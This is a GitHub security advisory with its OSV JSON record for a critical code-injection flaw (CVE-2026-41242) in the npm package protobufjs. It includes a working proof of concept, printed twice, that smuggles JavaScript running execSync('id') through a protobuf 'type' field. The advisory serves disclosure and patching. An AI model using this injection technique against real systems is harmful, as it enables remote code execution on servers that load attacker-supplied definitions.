GHSA-XQ3M-2V4X-88GG

Vulnerability from github – Published: 2026-04-16 22:34 – Updated: 2026-04-18 16:18
VLAI?
Summary
Arbitrary code execution in protobufjs
Details

Summary

protobufjs compiles protobuf definitions into JS functions. Attackers can manipulate these definitions to execute arbitrary JS code.

Details

Attackers can inject arbitrary code in the "type" fields of protobuf definitions, which will then execute during object decoding using that definition.

PoC

const protobuf = require('protobufjs');
maliciousDescriptor = JSON.parse(`{"nested":{"User":{"fields":{"id":{"type":"int32","id":1},"data":{"type":"Data(){console.log(process.mainModule.require('child_process').execSync('id').toString())};\\nfunction X","id":2}}},"Data(){console.log(process.mainModule.require('child_process').execSync('id').toString())};\\nfunction X":{"fields":{"content":{"type":"string","id":1}}}}}`)
const root = protobuf.Root.fromJSON(maliciousDescriptor);
const UserType = root.lookupType("User");
const userBytes = Buffer.from([0x08, 0x01, 0x12, 0x07, 0x0a, 0x05, 0x68, 0x65, 0x6c, 0x6c, 0x6f]);
try {
    const user = UserType.decode(userBytes);
} catch (e) {}

Impact

Remote code execution when attackers can control the protobuf definition files.

Severity ?
9.4 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "protobufjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "protobufjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.5.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41242"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-16T22:34:57Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\nprotobufjs compiles protobuf definitions into JS functions. Attackers can manipulate these definitions to execute arbitrary JS code.\n\n### Details\nAttackers can inject arbitrary code in the \"type\" fields of protobuf definitions, which will then execute during object decoding using that definition.\n\n### PoC\n```js\nconst protobuf = require(\u0027protobufjs\u0027);\nmaliciousDescriptor = JSON.parse(`{\"nested\":{\"User\":{\"fields\":{\"id\":{\"type\":\"int32\",\"id\":1},\"data\":{\"type\":\"Data(){console.log(process.mainModule.require(\u0027child_process\u0027).execSync(\u0027id\u0027).toString())};\\\\nfunction X\",\"id\":2}}},\"Data(){console.log(process.mainModule.require(\u0027child_process\u0027).execSync(\u0027id\u0027).toString())};\\\\nfunction X\":{\"fields\":{\"content\":{\"type\":\"string\",\"id\":1}}}}}`)\nconst root = protobuf.Root.fromJSON(maliciousDescriptor);\nconst UserType = root.lookupType(\"User\");\nconst userBytes = Buffer.from([0x08, 0x01, 0x12, 0x07, 0x0a, 0x05, 0x68, 0x65, 0x6c, 0x6c, 0x6f]);\ntry {\n    const user = UserType.decode(userBytes);\n} catch (e) {}\n```\n\n### Impact\nRemote code execution when attackers can control the protobuf definition files.",
  "id": "GHSA-xq3m-2v4x-88gg",
  "modified": "2026-04-18T16:18:23Z",
  "published": "2026-04-16T22:34:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/protobufjs/protobuf.js/security/advisories/GHSA-xq3m-2v4x-88gg"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/protobufjs/protobuf.js"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Arbitrary code execution in protobufjs"
}


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